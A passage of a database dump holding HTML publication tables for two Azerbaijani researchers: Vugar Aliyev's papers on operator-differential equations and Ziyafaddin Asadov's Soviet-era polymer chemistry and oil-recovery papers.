article</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>&nbsp;</p><p>Sabir S. Mirzoyev, Vugar S. Aliye<strong>v</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Baku University News, Baku<strong></strong></p></td><td width=\"66\"><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p>&nbsp;</p><p>№2,</p><p>p.31-38</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On normal solvability of boundary –value problems for elliptic type fourth order operator-differential equations</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>Transactions of&nbsp; NAS of Azerbaijan, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>v. XXIV<strong>,</strong></p><p>№7,</p><p>p. 9-16</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On completeness of elementary solutions of the fourth order homogenous operator-differential equations of</p><p>the elliptic type</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Transactions of &nbsp;NAS of Azerbaijan, Baku</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p><p>2004</p></td><td width=\"76\"><p><strong>&nbsp;</strong></p><p>v. XXIV<strong>,</strong></p><p>№1,</p><p>p. 51-58</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p><strong>&nbsp;</strong></p><p>On completeness of elementary solutions of the some class of third order operator-differential equations<strong></strong></p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>Baku State University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p>&nbsp;</p><p>p. 26-27</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On a property of a system eigen and adjoint elements of a class of third order polynomial operator bundles</p></td><td width=\"104\"><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>Scientific Journal Mathematics of International Ecoenergy Academy,</p><p>Baku&nbsp;&nbsp;&nbsp;</p></td><td width=\"66\"><p>&nbsp;</p><p>2007</p></td><td width=\"76\"><p>&nbsp;</p><p>№5,</p><p>p.13-16</p><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1561,972,'en',' Vugar Aliyev',' Vugar Aliyev','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"595\"><tbody><tr><td width=\"28\"><p>#</p></td><td width=\"132\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publica</strong></p><p><strong>tion activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"85\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"66\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On one &nbsp;boundary –value problem for fourth order operator-differential equations in Hilbert space</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>&nbsp;</p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Baku State</p><p>University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2001</p></td><td width=\"76\"><p>&nbsp;</p><p>76-77</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On existence of solutions of one&nbsp; boundary –value problem for fourth order operator-differential equations on finite interval</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>&nbsp;</p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Baku State University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2001</p></td><td width=\"76\"><p>&nbsp;</p><p>19-20</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On the regular solvability of the boundary –value problems for the elliptic type operator-differential equations of the fourth order<strong></strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Journal article</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>&nbsp;</p><p>Sabir S. Mirzoyev, Vugar S. Aliye<strong>v</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Baku University News, Baku<strong></strong></p></td><td width=\"66\"><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p>&nbsp;</p><p>№2,</p><p>p.31-38</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On normal solvability of boundary –value problems for elliptic type fourth order operator-differential equations</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>Transactions of&nbsp; NAS of Azerbaijan, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>v. XXIV<strong>,</strong></p><p>№7,</p><p>p. 9-16</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On completeness of elementary solutions of the fourth order homogenous operator-differential equations of</p><p>the elliptic type</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Transactions of &nbsp;NAS of Azerbaijan, Baku</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p><p>2004</p></td><td width=\"76\"><p><strong>&nbsp;</strong></p><p>v. XXIV<strong>,</strong></p><p>№1,</p><p>p. 51-58</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p><strong>&nbsp;</strong></p><p>On completeness of elementary solutions of the some class of third order operator-differential equations<strong></strong></p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p><p>Baku State University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2004</p></td><td width=\"76\"><p>&nbsp;</p><p>p. 26-27</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On a property of a system eigen and adjoint elements of a class of third order polynomial operator bundles</p></td><td width=\"104\"><p>&nbsp;</p><p>Journal article</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>Scientific Journal Mathematics of International Ecoenergy Academy,</p><p>Baku&nbsp;&nbsp;&nbsp;</p></td><td width=\"66\"><p>&nbsp;</p><p>2007</p></td><td width=\"76\"><p>&nbsp;</p><p>№5,</p><p>p.13-16</p><p>&nbsp;</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1562,973,'az','Ziyafaddin Asadov','Ziyafaddin Asadov','<div><br></div><h5><table cellspacing=\"0\" cellpadding=\"0\" width=\"832\"><tbody><tr><td width=\"47\"><p><strong>N</strong></p></td><td width=\"160\"><p><strong>Title of publication</strong></p></td><td width=\"160\"><p><strong>Publications</strong></p><p><strong>Type/publication</strong></p><p><strong>activities</strong></p></td><td width=\"160\"><p><strong>All authors</strong></p></td><td width=\"112\"><p><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></p></td><td width=\"72\"><p><strong>Year published</strong></p></td><td width=\"121\"><p><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></p></td></tr><tr><td width=\"47\"><p>1.</p></td><td width=\"160\"><p>Полимеризация четвертичных солей 4-винилпиридина в органических средах</p></td><td width=\"160\"><p>Новые аспекты нефтехимического синтеза</p></td><td width=\"160\"><p>Асадов З.Г.</p></td><td width=\"112\"><p>Москва, ИНХС АН СССР</p></td><td width=\"72\"><p>1978</p></td><td width=\"121\"><p>С. 64-71</p></td></tr><tr><td width=\"47\"><p>2.</p></td><td width=\"160\"><p>Полимеризация четвертичных солей 4-винилпиридина в органических средах</p></td><td width=\"160\"><p>Материалы юбилейной научной конференции, посвященной 60-летию Великой Октябрьской социалистической революции. Химфак МГУ</p></td><td width=\"160\"><p>Асадов З.Г.</p></td><td width=\"112\"><p>Москва, Деп. в ВИНИТИ,</p><p>№ 1805-78 от 31/V</p></td><td width=\"72\"><p>1978</p></td><td width=\"121\"><p>С.242-246</p></td></tr><tr><td width=\"47\"><p>3.</p></td><td width=\"160\"><p>On the mechanism of zwitterionic polymerization&nbsp; of 4-vinylplyridine quaternary salts in organic media</p></td><td width=\"160\"><p>IUPAC Macro Mainz 26-th Int. Symp. Macromol. Mainz 1979. Prepr. Shоrt Commun. s.а.</p></td><td width=\"160\"><p>Aliyev K.V.</p><p>Asadov Z.G.</p><p>Kabanov V.A.</p></td><td width=\"112\"><p>Germany,</p><p>Mainz</p></td><td width=\"72\"><p>1979</p></td><td width=\"121\"><p>Vоl. 1, pp. 242-246</p></td></tr><tr><td width=\"47\"><p>4.</p></td><td width=\"160\"><p>Механизм&nbsp; цвиттер-ионной полимеризации N- алкил-4-винилопиридиния в растворе и в условиях, моделирующих спонтанную полимеризацию в малополярных средах</p></td><td width=\"160\"><p>Механизм процессов полимеризации и новые области использования полимеров</p></td><td width=\"160\"><p>Асадов З.Г.</p></td><td width=\"112\"><p>Москва,</p><p>ИНХС АН СССР</p></td><td width=\"72\"><p>1980</p></td><td width=\"121\"><p>С.51-63</p></td></tr><tr><td width=\"47\"><p>5.</p></td><td width=\"160\"><h2>Увеличение нефтеотдачи пластов с помощью химических реагентов</h2></td><td width=\"160\"><p>Деп.в ВИНИТИ №6304-82 от 22/ХII</p></td><td width=\"160\"><h2>Альтман Н.Б.</h2><p>Сидорчук И.И.</p><p>Бродская Е.С</p><p>Мамедова В.А</p><p>Дубровина Э.Г.</p><p>Асадов З.Г.</p><p>Юсубов А.Ю.</p></td><td width=\"112\"><p>Москва</p></td><td width=\"72\"><p>1982</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>6.</p></td><td width=\"160\"><h2>Нефтевытесняющие свойства водорастворимых акриловых полимеров</h2></td><td width=\"160\"><p>Тезисы докладов общегородской конференции молодых ученых</p></td><td width=\"160\"><h2>Асадов А.Ю.</h2><p>Юсубов А.Ю.</p><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p>1982</p></td><td width=\"121\"><p>С. 601</p></td></tr><tr><td width=\"47\"><p>7.</p></td><td width=\"160\"><h2>Водорастворимые полимеры-эффективные нетоксичные агенты для&nbsp; увеличения нефтеотдачи пласта</h2></td><td width=\"160\"><p>Тезисы докладов&nbsp; конференции&nbsp; по охране окружающей среды</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Юсубов А.Ю.</p><p>Ага-заде А.Д.</p></td><td width=\"112\"><p>Баку</p></td><td width=\"72\"><p>1982</p></td><td width=\"121\"><p>С.8</p></td></tr><tr><td width=\"47\"><p>8.</p></td><td width=\"160\"><h2>Исследование вытеснения нефти водными растворами полимеров</h2></td><td width=\"160\"><p>Азербайджанское нефтяное хозяйство</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г</p><p>Юсубов А.Ю</p></td><td width=\"112\"><p>Баку</p></td><td width=\"72\"><p>1982</p></td><td width=\"121\"><p>№9. С.47-50</p></td></tr><tr><td width=\"47\"><p>9.</p></td><td width=\"160\"><h2>Исследование вытеснения нефти методом полимерного заводнения</h2></td><td width=\"160\"><p>Азербайджанское нефтяное хозяйство</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г</p><p>Юсубов А.Ю.</p><p>Ага-заде А.Д.</p></td><td width=\"112\"><p>Баку</p></td><td width=\"72\"><p>1983</p></td><td width=\"121\"><p>№5. С.49-52</p></td></tr><tr><td width=\"47\"><p>10.</p></td><td width=\"160\"><h2>Оксипропилированные&nbsp;&nbsp; производные поли(мет)акриловой кислоты в качестве нефтевытесняющих агентов при полимерном заводнении нефтяных пластов</h2></td><td width=\"160\"><p>Авторское свидетельство СССР №1267769</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Юсубов А.Ю.</p><p>Ага-заде А.Д.</p><p>Агаев Ф.А.</p></td><td width=\"112\"><h2>Москва</h2></td><td width=\"72\"><h2>1986</h2><h2>&nbsp;</h2></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>11.</p></td><td width=\"160\"><h2>Исследование&nbsp; химических превращений полиакрилонитрила в кислотной среде</h2></td><td width=\"160\"><p>Деп. в ВИНИТИ №1876-В-86 от 18/111</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><h2>Москва</h2></td><td width=\"72\"><h2>1986</h2><p>&nbsp;</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>12.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющих свойств акриловых полимеров</h2></td><td width=\"160\"><p>Исследование нефтей и их переработка</p></td><td width=\"160\"><p>Асадов З.Г.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"121\"><p>С.19-25</p></td></tr><tr><td width=\"47\"><p>13.</p></td><td width=\"160\"><h2>Третичное извлечение нефти с помощью растворов полимеров</h2></td><td width=\"160\"><p>Исследование нефтей и их переработка</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г</p><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><p>. Баку: Элм</p></td><td width=\"72\"><p>1987</p></td><td width=\"121\"><p>С.14-19</p></td></tr><tr><td width=\"47\"><p>14.</p></td><td width=\"160\"><h2>Синтез оксипропилового</h2><p>эфира метакриловой кислоты и полимеров на его основе</p></td><td width=\"160\"><h2>Азербайджанский химический журнал</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Юсубов А.Ю.</p></td><td width=\"112\"><p>Баку</p></td><td width=\"72\"><p>1986</p></td><td width=\"121\"><p>№2. С.55-60</p></td></tr><tr><td width=\"47\"><p>15.</p></td><td width=\"160\"><h2>Исследование &nbsp;нефтевытесняющих свойств полиметакрилата натрия</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Юсубов А.Ю.</p><p>Аллахвердиев Д.И.</p></td><td width=\"112\"><p>Баку</p></td><td width=\"72\"><p>1986</p></td><td width=\"121\"><p>№10. С.17-20</p></td></tr><tr><td width=\"47\"><p>16.</p></td><td width=\"160\"><h2>Синтез водорастворимых&nbsp; полимеров на основе акриловых соединений и окиси пропилена</h2></td><td width=\"160\"><h2>III Республиканская конференция по высокомолекулярным соединениям</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><h2>Ага-заде А.Д.</h2><h2>Юсубов А.Ю.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"112\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1986</h2></td><td width=\"121\"><p>С.46</p></td></tr><tr><td width=\"47\"><p>17.</p></td><td width=\"160\"><h2>Превращения полиакрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>III Республиканская конференция по высокомолекулярным соединениям</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д. Юсубов А.Ю.</h2></td><td width=\"112\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1986</h2></td><td width=\"121\"><p>С.46</p></td></tr><tr><td width=\"47\"><p>18.</p></td><td width=\"160\"><h2>Study of polyacrilonitrile conversions in acidic media</h2></td><td width=\"160\"><p>MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"160\"><p>Asadov Z.G.</p><p>Aliyev V.S.</p><p>Aga-zade A.D.</p><p>Yusubov A.Y.</p><p>&nbsp;</p></td><td width=\"112\"><p>Germany,</p><p>Merseburg</p></td><td width=\"72\"><p>1987</p></td><td width=\"121\"><p>p.180</p></td></tr><tr><td width=\"47\"><p>19.</p></td><td width=\"160\"><p>Synthesis of polymers and copolymers based on oxypropyl ester of (meth) acrylic acid</p><p>&nbsp;</p></td><td width=\"160\"><p>MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"160\"><p>Aliyev V.S.</p><p>Asadov Z.G.</p><p>Yusubov A.Y.</p><p>Aga-zade A.D.</p><p>Ahmadova G.A.</p><h2>&nbsp;</h2></td><td width=\"112\"><p>Germany,</p><p>Merseburg</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"121\"><p>p.117</p></td></tr><tr><td width=\"47\"><p>20.</p></td><td width=\"160\"><h2>Превращения акрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>Деп. В ВИНИТИ №4. 291-В87 от 12/VI 1987</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><p>Гурская М.В</p><p>Ахмедова Г.А.</p></td><td width=\"112\"><p>Москва</p></td><td width=\"72\"><p>1987</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>21.</p></td><td width=\"160\"><h2>Механизм оксипропилирования карбоксильной группы поликислот</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"160\"><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"112\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"121\"><p>C.31</p></td></tr><tr><td width=\"47\"><p>22.</p></td><td width=\"160\"><h2>Полимеризация оксипропилакрилата в водной и органической средах</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"160\"><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Асадов З.Г.</p><p>&nbsp;</p></td><td width=\"112\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"121\"><p>C.109</p></td></tr><tr><td width=\"47\"><p>23.</p></td><td width=\"160\"><h2>Об активности карбоксильной группы в реакции оксипропилирования</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><h2>Юсубов А.Ю.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>Ч.2.С.64-67</p></td></tr><tr><td width=\"47\"><p>24.</p></td><td width=\"160\"><h2>Исследование кинетических закономерностей реакции оксипропилирования акриловых звеньев поликислоты, содержащей солевые фрагменты</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР;Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><p>Ага-заде А.Д.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>Ч.2.С.68-71</p></td></tr><tr><td width=\"47\"><p>25.</p></td><td width=\"160\"><h2>Кинетические особенности радикальной гомополимеризации оксипропилакрилата и оксипропилметакрилата</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><h2>Ахмедова Г.А. Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>Ч.2.С.72-74</p></td></tr><tr><td width=\"47\"><p>26.</p></td><td width=\"160\"><h2>Роль конформационного состояния&nbsp; полиакриловой кислоты в ее реакции с пропиленоксидом</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР;Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><h2>Асадов З.Г.</h2><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №1940-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>Ч.2.С.23-26</p></td></tr><tr><td width=\"47\"><p>27.</p></td><td width=\"160\"><h2>(Со)полимеризация акриловой кислоты в присутствии окиси пропилена</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Касимов А.А.</p><p>Джафаров Р.П.</p><h2>Насибова Ш.М.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>С.48</p></td></tr><tr><td width=\"47\"><p>28.</p></td><td width=\"160\"><h2>Синтез и (со)полимеризация оксипропил(мет)акрилата</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Юсубов А.Ю.</p><p>Касимов А.А.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p>С.58-59</p></td></tr><tr><td width=\"47\"><p>29.</p></td><td width=\"160\"><h2>Синтез и нефтевытесняющие свойства водорастворимых полимеров на основе акриловой кислоты, окиси пропилена&nbsp; и (не)органических оснований</h2></td><td width=\"160\"><h2>Современные методы увеличения нефтеотдачи пластов (краткие тезисы докладов Всесоюзного совещания)</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А</p><p>Насибова Ш.М Касимов А.А.</p><p>Алиев Б.М.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Бугульма</h2></td><td width=\"72\"><p>1989</p></td><td width=\"121\"><p>С.190-192</p></td></tr><tr><td width=\"47\"><p>30.</p></td><td width=\"160\"><h2>Водорастворимый полимер для изоляции поглощающего пласта при бурении</h2></td><td width=\"160\"><h2>Каталог ярмарки научно-технических достижений. ЦИНИТЭНефтехим</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p>1989</p></td><td width=\"121\"><p>Ч IV.С.798</p></td></tr><tr><td width=\"47\"><p>31.</p></td><td width=\"160\"><h2>Некоторые кинетические параметры радикальной полимеризации оксипропилакрилата, инициированной персульфатными солями</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР; Кинетика и катализ, оптимизация и моделирование нефтехимических процессов</h2></td><td width=\"160\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №6876-В89</h2></td><td width=\"72\"><p>1989</p></td><td width=\"121\"><p>Ч.1.С.17-20</p></td></tr><tr><td width=\"47\"><p>32.</p></td><td width=\"160\"><h2>Синтез полиэлектролитов взаимодействием окиси пропилена с полиакриловой кислотой, частично нейтрализованной неорганическими основаниями</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР</h2></td><td width=\"160\"><p>Насибова Ш.М</p><p>Ага-заде А.Д.</p><p>Асадов З.Г.</p><h2>&nbsp;</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p>1990</p></td><td width=\"121\"><p>Ч.1.С.4-6</p></td></tr><tr><td width=\"47\"><p>33.</p></td><td width=\"160\"><h2>Синтез сополимеров оксипропилового эфира акриловой кислоты</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР памяти акад. Ю.Г.Мамедалиева</h2></td><td width=\"160\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p>1990</p></td><td width=\"121\"><p>С.34-36</p></td></tr><tr><td width=\"47\"><p>34.</p></td><td width=\"160\"><h2>Синтез водорастворимых олигомеров на основе акриловой кислоты и окиси пропилена</h2></td><td width=\"160\"><h2>IV Всесоюзная конференция по химии и физико-химии олигомеров. Тезисы пленарных и стендовых докладов,&nbsp; Черноголовка.</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Алиев В.С..</p><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Касимов А.А.</p><p>Насибова Ш.М</p></td><td width=\"112\"><h2>Россия,</h2><h2>Нальчик</h2></td><td width=\"72\"><p>1990</p></td><td width=\"121\"><p>С.177</p></td></tr><tr><td width=\"47\"><p>35.</p></td><td width=\"160\"><h2>Закономерности и механизм реакции оксипропилирования полиакриловой кислоты, частично нейтрализованной гидроксидом натрия</h2></td><td width=\"160\"><h2>Высокомолекуляр-ные соединения</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Алиев В.С.</p><p>Касимов А.А.</p><p>&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p>1990</p></td><td width=\"121\"><p>Б, №10.С. 792-797</p></td></tr><tr><td width=\"47\"><p>36.</p></td><td width=\"160\"><h2>Реагент для подавления жизнедеятельности сульфатвосстанавливающих бактерий в заводняемом нефтяном пласте</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1747681</h2></td><td width=\"160\"><p>Ханларова А.Г.</p><p>Кандинская Л.И.</p><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Файзуллина Е.Ю.</p><p>Гаджиева Р.Н.</p><p>Самедова А.М.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>37.</p></td><td width=\"160\"><h2>Способ получения оксипропильных производных&nbsp; полиакриловой кислоты</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1829375</h2></td><td width=\"160\"><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Касимов А.А.</p><p>Ахмедова Г.А.</p></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>38.</p></td><td width=\"160\"><h2>Synthesis, kinetic regularities and mechanism of process for obtaining of water-soluble polymeric surface-active substance (SAS) based on acrylic acid and propylene oxide</h2></td><td width=\"160\"><h2>Birinci Azərbaycan-Türkiyə “Polimer-91” Bildiri özetleri</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ahmadova G.A.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p>1991</p></td><td 